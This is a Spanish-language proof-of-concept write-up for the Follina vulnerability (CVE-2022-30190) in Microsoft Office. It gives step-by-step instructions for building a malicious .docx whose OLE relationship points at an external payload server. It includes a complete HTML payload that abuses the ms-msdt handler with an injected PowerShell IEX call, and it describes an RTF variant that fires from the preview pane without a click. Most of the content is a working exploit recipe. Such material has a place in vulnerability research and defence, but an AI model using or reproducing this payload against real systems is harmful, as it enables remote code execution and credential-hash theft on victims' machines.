
Exploit de prueba de concepto para CVE-2022-30190 (Follina), que demuestra la ejecución remota de código mediante documentos de Microsoft Office manipulados que utilizan el manejador de URI ms-msdt.
Info : Nueva vulnerabilidad de día cero en Microsoft Office utilizada en ataques para ejecutar PowerShell
El 29 de mayo de 2022, el equipo Nao_Sec, un equipo independiente de investigación en ciberseguridad, descubrió un documento malicioso de Office compartido en Virustotal. Este documento utiliza un esquema inusual, aunque conocido, para infectar a sus víctimas. El esquema no fue detectado como malicioso por algunos EDR, como Microsoft Defender for Endpoint. Esta vulnerabilidad podría permitir la ejecución de código sin necesidad de interacción del usuario, ya que no involucra macros, excepto si el modo Protected View está habilitado. Aún no se le ha asignado un número CVE.
La vulnerabilidad se explota mediante el esquema de URI de MSProtocol para cargar código. Los atacantes podrían incrustar enlaces maliciosos dentro de documentos, plantillas o correos electrónicos de Microsoft Office que comiencen con ms-msdt: y que se cargarían y ejecutarían posteriormente sin interacción del usuario, excepto si el modo Protected View está habilitado. No obstante, convertir el documento al formato RTF también podría omitir la función Protected View.
Los archivos .docx de MS Office pueden contener referencias externas a objetos OLE como archivos HTML. Existe un esquema HTML "ms-msdt:" que invoca la herramienta de diagnóstico msdt, la cual es capaz de ejecutar código arbitrario (especificado en los parámetros).
El resultado es un aterrador vector de ataque para lograr RCE con solo abrir archivos .docx maliciosos (sin usar macros).
Estos son los pasos para construir un documento .docx de Prueba de Concepto:
Abra Word (se usó Word 2019 Pro actualizado, 16.0.10386.20017), cree un documento ficticio, inserte un objeto (OLE) (como Bitmap Image), y guárdelo como .docx.
Edite word/_rels/document.xml.rels dentro de la estructura del .docx (es un zip simple). Modifique la etiqueta XML <Relationship> con el atributo
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
y Target="embeddings/oleObject1.bin" cambiando el valor de Target y agregando el atributo TargetMode:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Tome nota del valor de Id (probablemente sea "rId5").
word/document.xml. Busque la etiqueta <o:OLEObject ..> (con r:id="rId5") y cambie el atributo de Type="Embed" a Type="Link" y agregue el atributo UpdateMode="OnCall".NOTA: El docx malicioso creado es casi el mismo que el de CVE-2021-44444.
http://<payload_server>/payload.html:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
Tenga en cuenta que:
/../ al inicio del parámetro IT_BrowseForFile.$() se ejecutaría a través de PowerShell, pero los espacios lo romperían..exe debe ser la última cadena final presente al final del parámetro IT_BrowseForFile.Adicionalmente, el payload desencadenante puede conectarse a ubicaciones remotas. Si bien es poco probable que invoque un binario no confiable, la conexión igualmente transportará hashes NTLM (lo que significa que los actores malintencionados ahora tienen un hash de la contraseña de Windows de la víctima) que un adversario podría usar para una mayor post-explotación.
Si además agrega estos elementos dentro del elemento <o:OLEObject> en word/document.xml en el paso 3:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
entonces también funcionará como RTF (abra el docx resultante y guárdelo como RTF).
Con RTF, no es necesario abrir el archivo en Word; basta con navegar hasta el archivo y echarle un vistazo en el panel de vista previa. El panel de vista previa activa el payload HTML externo y el RCE se produce sin ningún clic.